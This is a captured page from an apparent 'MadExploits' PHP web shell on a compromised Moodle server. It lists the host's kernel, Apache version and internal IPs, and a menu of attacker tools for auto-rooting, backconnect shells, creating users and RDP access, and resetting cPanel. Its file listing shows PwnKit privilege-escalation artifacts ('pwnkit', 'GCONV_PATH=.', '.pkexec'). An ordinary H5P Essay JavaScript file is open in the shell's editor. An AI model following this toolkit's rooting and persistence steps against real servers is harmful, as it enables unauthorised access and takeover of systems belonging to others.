Linux moodl-moodle-3s8bw1nuh5yqd9-5b875fdd66-8hs4m 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64
Apache/2.4.41 (Ubuntu)
: 10.39.0.36 | : 10.36.0.0
Cant Read [ /etc/named.conf ]
7.4.3
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
moodledata /
filedir /
3a /
da /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-sr-x
GCONV_PATH=.
[ DIR ]
drwxr-sr-x
.mad-root
0
B
-rw-r--r--
3ada30e025852b92606097ecd7b2ee...
36.34
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 3ada30e025852b92606097ecd7b2ee9083f95628
var H5P = H5P || {}; /** * TODO: This content type needs refactoring. */ H5P.Essay = function ($, Question) { 'use strict'; // CSS Classes const SOLUTION_CONTAINER = 'h5p-essay-solution-container'; const SOLUTION_TITLE = 'h5p-essay-solution-title'; const SOLUTION_INTRODUCTION = 'h5p-essay-solution-introduction'; const SOLUTION_SAMPLE = 'h5p-essay-solution-sample'; const SOLUTION_SAMPLE_TEXT = 'h5p-essay-solution-sample-text'; // The H5P feedback right now only expects true (green)/false (red) feedback, not neutral feedback const FEEDBACK_EMPTY = '<span class="h5p-essay-feedback-empty">...</span>'; /** * @constructor * @param {Object} config - Config from semantics.json. * @param {string} contentId - ContentId. * @param {Object} [contentData] - contentData. */ function Essay(config, contentId, contentData) { // Initialize if (!config) { return; } // Inheritance Question.call(this, 'essay'); // Sanitize defaults this.params = Essay.extend( { media: {}, taskDescription: '', solution: {}, keywords: [], overallFeedback: [], behaviour: { minimumLength: 0, inputFieldSize: 10, enableCheckButton: true, enableRetry: true, ignoreScoring: false, pointsHost: 1 }, checkAnswer: 'Check', submitAnswer: 'Submit', tryAgain: 'Retry', showSolution: 'Show solution', feedbackHeader: 'Feedback', solutionTitle: 'Sample solution', remainingChars: 'Remaining characters: @chars', notEnoughChars: 'You must enter at least @chars characters!', messageSave: 'saved', ariaYourResult: 'You got @score out of @total points', ariaNavigatedToSolution: 'Navigated to newly included sample solution after textarea.', ariaCheck: 'Check the answers.', ariaShowSolution: 'Show the solution. You will be provided with a sample solution.', ariaRetry: 'Retry the task. You can improve your previous answer if the author allowed that.' }, config); this.contentId = contentId; this.extras = contentData; const defaultLanguage = (this.extras && this.extras.metadata) ? this.extras.metadata.defaultLanguage || 'en' : 'en'; this.languageTag = Essay.formatLanguageCode(defaultLanguage); this.score = 0; this.internalShowSolutionsCall = false; // Sanitize HTML encoding this.params.placeholderText = this.htmlDecode(this.params.placeholderText || ''); // Get previous state from content data if (typeof contentData !== 'undefined' && typeof contentData.previousState !== 'undefined') { this.previousState = contentData.previousState; } this.isAnswered = this.previousState && this.previousState.inputField && this.previousState.inputField !== '' || false; /* * this.params.behaviour.enableSolutionsButton and this.params.behaviour.enableRetry are used by * contract at {@link https://h5p.org/documentation/developers/contracts#guides-header-8} and * {@link https://h5p.org/documentation/developers/contracts#guides-header-9} */ this.params.behaviour.enableSolutionsButton = (typeof this.params.solution.sample !== 'undefined' && this.params.solution.sample !== ''); this.params.behaviour.enableRetry = this.params.behaviour.enableRetry || false; // Determine the minimum number of characters that should be entered this.params.behaviour.minimumLength = this.params.behaviour.minimumLength || 0; if (this.params.behaviour.maximumLength !== undefined) { this.params.behaviour.minimumLength = Math.min(this.params.behaviour.minimumLength, this.params.behaviour.maximumLength); } // map function const toPoints = function (keyword) { return (keyword.keyword && keyword.options && keyword.options.points || 0) * (keyword.options.occurrences || 1); }; // reduce function const sum = function (a, b) { return a + b; }; // scoreMax = Maximum number of points available by all keyword groups const scoreMax = this.params.keywords .map(toPoints) .reduce(sum, 0); // scoreMastering: score indicating mastery and maximum number on progress bar (can be < scoreMax) this.scoreMastering = this.params.behaviour.percentageMastering === undefined ? scoreMax : this.params.behaviour.percentageMastering * scoreMax / 100; // scorePassing: score to pass the task (<= scoreMastering) this.scorePassing = Math.min( this.getMaxScore(), this.params.behaviour.percentagePassing * scoreMax / 100 || 0); this.solution = this.buildSolution(); // Re-create score if (typeof this.previousState === 'object' && Object.keys(this.previousState).length) { this.updateScore(); } } // Extends Question Essay.prototype = Object.create(Question.prototype); Essay.prototype.constructor = Essay; /** * Register the DOM elements with H5P.Question. */ Essay.prototype.registerDomElements = function () { const that = this; // Set optional media const media = (this.params.media) ? this.params.media.type : undefined; if (media && media.library) { const type = media.library.split(' ')[0]; if (type === 'H5P.Image') { if (media.params.file) { this.setImage(media.params.file.path, { disableImageZooming: this.params.media.disableImageZooming, alt: media.params.alt, title: media.params.title }); } } else if (type === 'H5P.Video') { if (media.params.sources) { this.setVideo(media); } } else if (type === 'H5P.Audio') { if (media.params.files) { this.setAudio(media); } } } // Check whether status bar is needed const statusBar = ( this.params.behaviour.minimumLength || this.params.behaviour.maximumLength || (H5PIntegration && H5PIntegration.saveFreq) ); // Create InputField this.inputField = new H5P.Essay.InputField({ taskDescription: this.params.taskDescription, placeholderText: this.params.placeholderText, maximumLength: this.params.behaviour.maximumLength, remainingChars: this.params.remainingChars, inputFieldSize: this.params.behaviour.inputFieldSize, previousState: this.previousState, statusBar: statusBar }, { onInteracted: (function (params) { that.handleInteracted(params); }), onInput: (function () { that.handleInput(); }) }); this.setViewState(this.previousState && this.previousState.viewState || 'task'); if (this.viewState === 'results') { // Need to wait until DOM is ready for us H5P.externalDispatcher.on('initialized', function () { that.handleCheckAnswer({ skipXAPI: true }); }); } else if (this.viewState === 'solutions') { // Need to wait until DOM is ready for us H5P.externalDispatcher.on('initialized', function () { that.handleCheckAnswer({ skipXAPI: true }); that.showSolutions(); // We need the retry button if the mastering score has not been reached or scoring is irrelevant if (that.getScore() < that.getMaxScore() || that.params.behaviour.ignoreScoring || that.getMaxScore() === 0) { if (that.params.behaviour.enableRetry) { that.showButton('try-again'); } } else { that.hideButton('try-again'); } }); } // Register task introduction text this.setIntroduction(this.inputField.getIntroduction()); // Register content this.content = this.inputField.getContent(); this.setContent(this.content); // Register Buttons this.addButtons(); }; /** * Add all the buttons that shall be passed to H5P.Question. */ Essay.prototype.addButtons = function () { const that = this; // Show solution button that.addButton('show-solution', that.params.showSolution, function () { // Not using a parameter for showSolutions to not mess with possibe future contract changes that.internalShowSolutionsCall = true; that.showSolutions(); that.internalShowSolutionsCall = false; }, false, { 'aria-label': this.params.ariaShowSolution }, {}); // Check answer button that.addButton('check-answer', that.params.checkAnswer, function () { that.handleCheckAnswer(); }, this.params.behaviour.enableCheckButton, { 'aria-label': this.params.ariaCheck }, { contentData: this.extras, textIfSubmitting: this.params.submitAnswer, }); // Retry button that.addButton('try-again', that.params.tryAgain, function () { that.resetTask({ skipClear: true }); }, false, { 'aria-label': this.params.ariaRetry }, {}); }; /** * Handle the evaluation. * @param {object} [params = {}] Parameters. * @param {boolean} [params.skipXAPI = false] If true, don't trigger xAPI. */ Essay.prototype.handleCheckAnswer = function (params) { const that = this; params = Essay.extend({ skipXAPI: false }, params); // Show message if the minimum number of characters has not been met if (that.inputField.getText().length < that.params.behaviour.minimumLength) { const message = that.params.notEnoughChars.replace(/@chars/g, that.params.behaviour.minimumLength); that.inputField.setMessageChars(message, true); that.read(message); return; } that.setViewState('results'); that.inputField.disable(); /* * Only set true on "check". Result computation may take some time if * there are many keywords due to the fuzzy match checking, so it's not * a good idea to do this while typing. */ that.isAnswered = true; that.handleEvaluation(params); if (that.params.behaviour.enableSolutionsButton === true) { that.showButton('show-solution'); } that.hideButton('check-answer'); }; /** * Get the user input from DOM. * @param {string} [linebreakReplacement=' '] Replacement for line breaks. * @return {string} Cleaned input. */ Essay.prototype.getInput = function (linebreakReplacement) { linebreakReplacement = linebreakReplacement || ' '; let userText = ''; if (this.inputField) { userText = this.inputField.getText(); } else if (this.previousState && this.previousState.inputField) { userText = this.previousState.inputField; } return userText .replace(/(\r\n|\r|\n)/g, linebreakReplacement) .replace(/\s\s/g, ' '); }; /** * Handle user interacted. * @param {object} params Parameters. * @param {boolean} [params.updateScore] If true, will trigger score computation. */ Essay.prototype.handleInteracted = function (params) { params = params || {}; // Deliberately keeping the state once answered this.isAnswered = this.isAnswered || this.inputField.getText().length > 0; if (params.updateScore) { // Only triggered when explicitly requested due to potential complexity this.updateScore(); } this.triggerXAPI('interacted'); }; /** * Check if Essay has been submitted/minimum length met. * @return {boolean} True, if answer was given. * @see contract at {@link https://h5p.org/documentation/developers/contracts#guides-header-1} */ Essay.prototype.getAnswerGiven = function () { return this.isAnswered; }; /** * Get latest score. * @return {number} latest score. * @see contract at {@link https://h5p.org/documentation/developers/contracts#guides-header-2} */ Essay.prototype.getScore = function () { // Return value is rounded because reporting module for moodle's H5P plugin expects integers return (this.params.behaviour.ignoreScoring) ? this.getMaxScore() : Math.round(this.score); }; /** * Get maximum possible score. * @return {number} Score necessary for mastering. * @see contract at {@link https://h5p.org/documentation/developers/contracts#guides-header-3} */ Essay.prototype.getMaxScore = function () { // Return value is rounded because reporting module for moodle's H5P plugin expects integers return (this.params.behaviour.ignoreScoring) ? this.params.behaviour.pointsHost || 0 : Math.round(this.scoreMastering); }; /** * Show solution. * @see contract at {@link https://h5p.org/documentation/developers/contracts#guides-header-4} */ Essay.prototype.showSolutions = function () { this.setViewState('solutions'); this.inputField.disable(); if (typeof this.params.solution.sample !== 'undefined' && this.params.solution.sample !== '') { // We add the sample solution here to make cheating at least a little more difficult if (this.solution.getElementsByClassName(SOLUTION_SAMPLE)[0].children.length === 0) { const text = document.createElement('div'); text.classList.add(SOLUTION_SAMPLE_TEXT); text.innerHTML = this.params.solution.sample; this.solution.getElementsByClassName(SOLUTION_SAMPLE)[0].appendChild(text); } // Insert solution after explanations or content. const predecessor = this.content.parentNode; predecessor.parentNode.insertBefore(this.solution, predecessor.nextSibling); // Useful for accessibility, but seems to jump to wrong position on some Safari versions this.solutionAnnouncer.focus(); } this.hideButton('show-solution'); // Handle calls from the outside if (!this.internalShowSolutionsCall) { this.hideButton('check-answer'); this.hideButton('try-again'); } this.trigger('resize'); }; /** * Reset task. * @see contract at {@link https://h5p.org/documentation/developers/contracts#guides-header-5} */ Essay.prototype.resetTask = function (params) { params = params || {}; this.setViewState('task'); this.setExplanation(); this.removeFeedback(); this.hideSolution(); this.hideButton('show-solution'); this.hideButton('try-again'); // QuestionSet can control check button despite not in Question Type contract if (this.params.behaviour.enableCheckButton) { this.showButton('check-answer'); } if (!params.skipClear) { this.inputField.setText(''); } this.inputField.enable(); this.inputField.focus(); this.isAnswered = false; }; /** * Get xAPI data. * @return {Object} xAPI statement. * @see contract at {@link https://h5p.org/documentation/developers/contracts#guides-header-6} */ Essay.prototype.getXAPIData = function () { return { statement: this.getXAPIAnswerEvent().data.statement }; }; /** * Determine whether the task has been passed by the user. * @return {boolean} True if user passed or task is not scored. */ Essay.prototype.isPassed = function () { return (this.params.behaviour.ignoreScoring || this.getScore() >= this.scorePassing); }; /** * Update score. * @param {object} results Results. */ Essay.prototype.updateScore = function (results) { results = results || this.computeResults(); this.score = Math.min(this.computeScore(results), this.getMaxScore()); }; /** * Handle the evaluation. * @param {object} [params = {}] Parameters. * @param {boolean} [params.skipXAPI = false] If true, don't trigger xAPI. */ Essay.prototype.handleEvaluation = function (params) { params = Essay.extend({ skipXAPI: false }, params); const results = this.computeResults(); // Build explanations const explanations = this.buildExplanation(results); // Show explanations if (explanations.length > 0) { this.setExplanation(explanations, this.params.feedbackHeader); } // Not all keyword groups might be necessary for mastering this.updateScore(results); const textScore = H5P.Question .determineOverallFeedback(this.params.overallFeedback, this.getScore() / this.getMaxScore()) .replace('@score', this.getScore()) .replace('@total', this.getMaxScore()); if (!this.params.behaviour.ignoreScoring && this.getMaxScore() > 0) { const ariaMessage = (this.params.ariaYourResult) .replace('@score', ':num') .replace('@total', ':total'); this.setFeedback(textScore, this.getScore(), this.getMaxScore(), ariaMessage); } // Show and hide buttons as necessary this.handleButtons(this.getScore()); if (!params.skipXAPI) { // Trigger xAPI statements as necessary this.handleXAPI(); } this.trigger('resize'); }; /** * Build solution DOM object. * @return {Object} DOM object. */ Essay.prototype.buildSolution = function () { const solution = document.createElement('div'); solution.classList.add(SOLUTION_CONTAINER); this.solutionAnnouncer = document.createElement('div'); this.solutionAnnouncer.setAttribute('tabindex', '0'); this.solutionAnnouncer.setAttribute('aria-label', this.params.ariaNavigatedToSolution); this.solutionAnnouncer.addEventListener('focus', function (event) { // Just temporary tabbable element. Will be announced by readspaker. event.target.blur(); event.target.setAttribute('tabindex', '-1'); }); solution.appendChild(this.solutionAnnouncer); const solutionTitle = document.createElement('div'); solutionTitle.classList.add(SOLUTION_TITLE); solutionTitle.innerHTML = this.params.solutionTitle; solution.appendChild(solutionTitle); const solutionIntroduction = document.createElement('div'); solutionIntroduction.classList.add(SOLUTION_INTRODUCTION); solutionIntroduction.innerHTML = this.params.solution.introduction; solution.appendChild(solutionIntroduction); const solutionSample = document.createElement('div'); solutionSample.classList.add(SOLUTION_SAMPLE); solution.appendChild(solutionSample); return solution; }; /** * Hide the solution. */ Essay.prototype.hideSolution = function () { if (this.solution.parentNode !== null) { this.solution.parentNode.removeChild(this.solution); } }; /** * Compute results. * @return {Object[]} Results: [[{"keyword": keyword, "match": match, "index": index}*]*]. */ Essay.prototype.computeResults = function () { const that = this; const results = []; // Should not happen, but just to be sure ... this.params.keywords = this.params.keywords || []; // Filter out keywords that have not been set. this.params.keywords = this.params.keywords.filter(function (element) { return typeof element.keyword !== 'undefined'; }); this.params.keywords.forEach(function (alternativeGroup) { const resultsGroup = []; const options = alternativeGroup.options; const caseSensitive = (that.params.behaviour.overrideCaseSensitive !== 'off') && (that.params.behaviour.overrideCaseSensitive === 'on' || options.caseSensitive); let alternatives = [alternativeGroup.keyword || []] .concat(alternativeGroup.alternatives || []) .map(function (alternative) { return that.htmlDecode(alternative); }); /* * Get all matches to regular expressions and pretend the matches were * given as alternative answers in order to be able to detect them. * This result computation might need a rewrite ... */ const regularExpressionMatches = that .getRegExpAlternatives(alternatives, that.getInput(), caseSensitive) .map(function (match) { // Allow to differentiate from wildcard asterisk return match = match.replace(/\*/, Essay.REGULAR_EXPRESSION_ASTERISK); }); // Not chained, because we still need the old value inside alternatives = alternatives // only "normal" alternatives .filter(function (alternative) { return (alternative[0] !== '/' || alternative[alternative.length - 1] !== '/'); }) // regular matches found in text for alternatives .concat(regularExpressionMatches) // regular matches could match empty string .filter(function (alternative) { return alternative !== ''; }); // Detect all matches alternatives.forEach(function (alternative) { let inputTest = that.getInput(); // Check for case sensitivity const caseSensitive = that.params.behaviour.overrideCaseSensitive === 'on' || options.caseSensitive; if (!caseSensitive) { alternative = alternative.toLowerCase(); inputTest = inputTest.toLowerCase(); } // Build array of matches for each type of match const matchesExact = that.detectExactMatches(alternative, inputTest); const matchesWildcard = alternative.indexOf('*') !== -1 ? that.detectWildcardMatches(alternative, inputTest, caseSensitive) : []; const matchesFuzzy = options.forgiveMistakes ? that.detectFuzzyMatches(alternative, inputTest) : []; // Merge matches without duplicates that.mergeMatches(matchesExact, matchesWildcard, matchesFuzzy).forEach(function (item) { resultsGroup.push(item); }); }); results.push(resultsGroup); }); return results; }; /** * Compute the score for the results. * @param {Object[]} results - Results from the task. * @return {number} Score. */ Essay.prototype.computeScore = function (results) { let score = 0; this.params.keywords.forEach(function (keyword, i) { score += Math.min(results[i].length, keyword.options.occurrences) * keyword.options.points; }); return score; }; /** * Build the explanations for H5P.Question.setExplanation. * @param {Object} results - Results from the task. * @return {Object[]} Explanations for H5P.Question. */ Essay.prototype.buildExplanation = function (results) { const explanations = []; let word; this.params.keywords.forEach(function (keyword, i) { word = FEEDBACK_EMPTY; // Keyword was not found and feedback is provided for this case if (results[i].length === 0 && keyword.options.feedbackMissed) { if (keyword.options.feedbackMissedWord === 'keyword') { // Main keyword defined word = keyword.keyword; } explanations.push({correct: word, text: keyword.options.feedbackMissed}); } // Keyword found and feedback is provided for this case if (results[i].length > 0 && keyword.options.feedbackIncluded) { // Set word in front of feedback switch (keyword.options.feedbackIncludedWord) { case 'keyword': // Main keyword defined word = keyword.keyword; break; case 'alternative': // Alternative that was found word = results[i][0].keyword; break; case 'answer': // Answer matching an alternative at the learner typed it word = results[i][0].match; break; } explanations.push({correct: word, text: keyword.options.feedbackIncluded}); } }); if (explanations.length > 0) { // Sort "included" before "not included", but keep order otherwise explanations.sort(function (a, b) { return a.correct === FEEDBACK_EMPTY && b.correct !== FEEDBACK_EMPTY; }); } return explanations; }; /** * Handle buttons' visibility. * @param {number} score - Score the user received. */ Essay.prototype.handleButtons = function (score) { if (this.params.solution.sample && !this.solution) { this.showButton('show-solution'); } // We need the retry button if the mastering score has not been reached or scoring is irrelevant if (score < this.getMaxScore() || this.params.behaviour.ignoreScoring || this.getMaxScore() === 0) { if (this.params.behaviour.enableRetry) { this.showButton('try-again'); } } else { this.hideButton('try-again'); } }; /** * Handle xAPI event triggering * @param {number} score - Score the user received. */ Essay.prototype.handleXAPI = function () { this.trigger(this.getXAPIAnswerEvent()); // Additional xAPI verbs that might be useful for making analytics easier if (!this.params.behaviour.ignoreScoring && this.getMaxScore() > 0) { if (this.getScore() < this.scorePassing) { this.trigger(this.createEssayXAPIEvent('failed')); } else { this.trigger(this.createEssayXAPIEvent('passed')); } if (this.getScore() >= this.getMaxScore()) { this.trigger(this.createEssayXAPIEvent('mastered')); } } }; /** * Create an xAPI event for Essay. * @param {string} verb - Short id of the verb we want to trigger. * @return {H5P.XAPIEvent} Event template. */ Essay.prototype.createEssayXAPIEvent = function (verb) { const xAPIEvent = this.createXAPIEventTemplate(verb); Essay.extend( xAPIEvent.getVerifiedStatementValue(['object', 'definition']), this.getxAPIDefinition()); return xAPIEvent; }; /** * Get the xAPI definition for the xAPI object. * return {Object} XAPI definition. */ Essay.prototype.getxAPIDefinition = function () { const definition = {}; definition.name = {}; definition.name[this.languageTag] = this.getTitle(); // Fallback for h5p-php-reporting, expects en-US definition.name['en-US'] = definition.name[this.languageTag]; // The H5P reporting module expects the "blanks" to be added to the description definition.description = {}; definition.description[this.languageTag] = this.params.taskDescription + Essay.FILL_IN_PLACEHOLDER; // Fallback for h5p-php-reporting, expects en-US definition.description['en-US'] = definition.description[this.languageTag]; definition.type = 'http://id.tincanapi.com/activitytype/essay'; definition.interactionType = 'long-fill-in'; /* * The official xAPI documentation discourages to use a correct response * pattern it if the criteria for a question are complex and correct * responses cannot be exhaustively listed. They can't. */ return definition; }; /** * Build xAPI answer event. * @return {H5P.XAPIEvent} xAPI answer event. */ Essay.prototype.getXAPIAnswerEvent = function () { const xAPIEvent = this.createEssayXAPIEvent('answered'); xAPIEvent.setScoredResult(this.getScore(), this.getMaxScore(), this, true, this.isPassed()); xAPIEvent.data.statement.result.response = this.inputField.getText(); return xAPIEvent; }; /** * Detect exact matches of needle in haystack. * @param {string} needle - Word or phrase to find. * @param {string} haystack - Text to find the word or phrase in. * @return {Object[]} Results: [{'keyword': needle, 'match': needle, 'index': front + pos}*]. */ Essay.prototype.detectExactMatches = function (needle, haystack) { // Simply detect all exact matches and its positions in the haystack const result = []; let pos = -1; let front = 0; needle = needle .replace(/\*/, '') // Wildcards checked separately .replace(new RegExp(Essay.REGULAR_EXPRESSION_ASTERISK, 'g'), '*'); // Asterisk from regexp while (((pos = haystack.indexOf(needle))) !== -1 && needle !== '') { if (H5P.TextUtilities.isIsolated(needle, haystack)) { result.push({'keyword': needle, 'match': needle, 'index': front + pos}); } front += pos + needle.length; haystack = haystack.substr(pos + needle.length); } return result; }; /** * Detect wildcard matches of needle in haystack. * @param {string} needle - Word or phrase to find. * @param {string} haystack - Text to find the word or phrase in. * @param {boolean} caseSensitive - If true, alternative is case sensitive. * @return {Object[]} Results: [{'keyword': needle, 'match': needle, 'index': front + pos}*]. */ Essay.prototype.detectWildcardMatches = function (needle, haystack, caseSensitive) { if (needle.indexOf('*') === -1) { return []; } // Clean needle from successive wildcards needle = needle.replace(/[*]{2,}/g, '*'); // Clean needle from regular expression characters, * needed for wildcard const regexpChars = ['\\', '.', '[', ']', '?', '+', '(', ')', '{', '}', '|', '!', '^', '-']; regexpChars.forEach(function (char) { needle = needle.split(char).join('\\' + char); }); // We accept only characters for the wildcard const regexp = new RegExp(needle.replace(/\*/g, Essay.CHARS_WILDCARD + '+'), this.getRegExpModifiers(caseSensitive)); const result = []; let match; while ((match = regexp.exec(haystack)) !== null ) { if (H5P.TextUtilities.isIsolated(match[0], haystack, {'index': match.index})) { result.push({'keyword': needle, 'match': match[0], 'index': match.index}); } } return result; }; /** * Detect fuzzy matches of needle in haystack. * @param {string} needle - Word or phrase to find. * @param {string} haystack - Text to find the word or phrase in. * @param {Object[]} Results. */ Essay.prototype.detectFuzzyMatches = function (needle, haystack) { // Ideally, this should be the maximum number of allowed transformations for the Levenshtein disctance. const windowSize = 2; /* * We cannot simple split words because we're also looking for phrases. * If we were just looking for exact matches, we could use something smarter * such as the KMP algorithm. Because we're dealing with fuzzy matches, using * this intuitive exhaustive approach might be the best way to go. */ const results = []; // Without looking at the surroundings we'd miss words that have additional or missing chars for (let size = -windowSize; size <= windowSize; size++) { for (let pos = 0; pos < haystack.length; pos++) { const straw = haystack.substr(pos, needle.length + size); if (H5P.TextUtilities.areSimilar(needle, straw) && H5P.TextUtilities.isIsolated(straw, haystack, {'index': pos})) { // This will only add the match if it's not a duplicate that we found already in the proximity of pos if (!this.contains(results, pos)) { results.push({'keyword': needle, 'match': straw, 'index': pos}); } } } } return results; }; /** * Get all the matches found to a regular expression alternative. * @param {string[]} alternatives - Alternatives. * @param {string} inputTest - Original text by student. * @param {boolean} caseSensitive - If true, alternative is case sensitive. * @return {string[]} Matches by regular expressions. */ Essay.prototype.getRegExpAlternatives = function (alternatives, inputTest, caseSensitive) { const that = this; return alternatives .filter(function (alternative) { return (alternative[0] === '/' && alternative[alternative.length - 1] === '/'); }) .map(function (alternative) { const regNeedle = new RegExp(alternative.slice(1, -1), that.getRegExpModifiers(caseSensitive)); return inputTest.match(regNeedle); }) .reduce(function (a, b) { return a.concat(b); }, []) .filter(function (item) { return item !== null; }); }; /** * Get modifiers for regular expressions. * @param {boolean} caseSensitive - If true, alternative is case sensitive. * @return {string} Modifiers for regular expressions. */ Essay.prototype.getRegExpModifiers = function (caseSensitive) { const modifiers = ['g']; if (!caseSensitive) { modifiers.push('i'); } return modifiers.join(''); }; /** * Merge the matches. * @param {...Object[]} matches - Detected matches. * @return {Object[]} Merged matches. */ Essay.prototype.mergeMatches = function () { // Sanitization if (arguments.length === 0) { return []; } if (arguments.length === 1) { return arguments[0]; } // Add all elements from args[1+] to args[0] if not already there close by. const results = (arguments[0] || []).slice(); for (let i = 1; i < arguments.length; i++) { const match2 = arguments[i] || []; for (let j = 0; j < match2.length; j++) { if (!this.contains(results, match2[j].index)) { results.push(match2[j]); } } } return results.sort(function (a, b) { return a.index > b.index; }); }; /** * Check if an array of detected results contains the same match in the word's proximity. * Used to prevent double entries that can be caused by fuzzy matching. * @param {Object} results - Preliminary results. * @param {string} results.match - Match that was found before at a particular position. * @param {number} results.index - Starting position of the match. * @param {number} index - Index of solution to be checked for double entry. */ Essay.prototype.contains = function (results, index) { return results.some(function (result) { return Math.abs(result.index - index) <= result.match.length; }); }; /** * Extend an array just like JQuery's extend. * @param {...Object} arguments - Objects to be merged. * @return {Object} Merged objects. */ Essay.extend = function () { for (let i = 1; i < arguments.length; i++) { for (let key in arguments[i]) { if (Object.prototype.hasOwnProperty.call(arguments[i], key)) { if (typeof arguments[0][key] === 'object' && typeof arguments[i][key] === 'object') { this.extend(arguments[0][key], arguments[i][key]); } else { arguments[0][key] = arguments[i][key]; } } } } return arguments[0]; }; /** * Get task title. * @return {string} Title. */ Essay.prototype.getTitle = function () { let raw; if (this.extras.metadata) { raw = this.extras.metadata.title; } raw = raw || Essay.DEFAULT_DESCRIPTION; // H5P Core function: createTitle return H5P.createTitle(raw); }; /** * Format language tag (RFC 5646). Assuming "language-coutry". No validation. * Cmp. https://tools.ietf.org/html/rfc5646 * @param {string} languageTag Language tag. * @return {string} Formatted language tag. */ Essay.formatLanguageCode = function (languageCode) { if (typeof languageCode !== 'string') { return languageCode; } /* * RFC 5646 states that language tags are case insensitive, but * recommendations may be followed to improve human interpretation */ const segments = languageCode.split('-'); segments[0] = segments[0].toLowerCase(); // ISO 639 recommendation if (segments.length > 1) { segments[1] = segments[1].toUpperCase(); // ISO 3166-1 recommendation } languageCode = segments.join('-'); return languageCode; }; /** * Retrieve true string from HTML encoded string * @param {string} input - Input string. * @return {string} Output string. */ Essay.prototype.htmlDecode = function (input) { const dparser = new DOMParser().parseFromString(input, 'text/html'); return dparser.documentElement.textContent; }; /** * Get current state for H5P.Question. * @return {Object} Current state. */ Essay.prototype.getCurrentState = function () { if (!this.inputField) { return; // may not be attached to the DOM yet } this.inputField.updateMessageSaved(this.params.messageSave); return { inputField: this.inputField.getText(), viewState: this.viewState }; }; /** * Set view state. * @param {string} state View state. */ Essay.prototype.setViewState = function (state) { if (Essay.VIEW_STATES.indexOf(state) === -1) { return; } this.viewState = state; }; /** @constant {string} * latin special chars: \u00C0-\u00D6\u00D8-\u00F6\u00F8-\u00FF * greek chars: \u0370-\u03FF * kyrillic chars: \u0400-\u04FF * hiragana + katakana: \u3040-\u30FF * common CJK characters: \u4E00-\u62FF\u6300-\u77FF\u7800-\u8CFF\u8D00-\u9FFF * thai chars: \u0E00-\u0E7F */ Essay.CHARS_WILDCARD = '[A-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u00FF\u0370-\u03FF\u0400-\u04FF\u3040-\u309F\u3040-\u30FF\u4E00-\u62FF\u6300-\u77FF\u7800-\u8CFF\u8D00-\u9FFF\u0E00-\u0E7F]'; /** @constant {string} * Required to be added to xAPI object description for H5P reporting */ Essay.FILL_IN_PLACEHOLDER = '__________'; /** @constant {string} */ Essay.DEFAULT_DESCRIPTION = 'Essay'; /** @constant {string} */ Essay.REGULAR_EXPRESSION_ASTERISK = ':::H5P-Essay-REGEXP-ASTERISK:::'; /** @constant {string[]} view state names*/ Essay.VIEW_STATES = ['task', 'results', 'solutions']; return Essay; }(H5P.jQuery, H5P.Question);
Close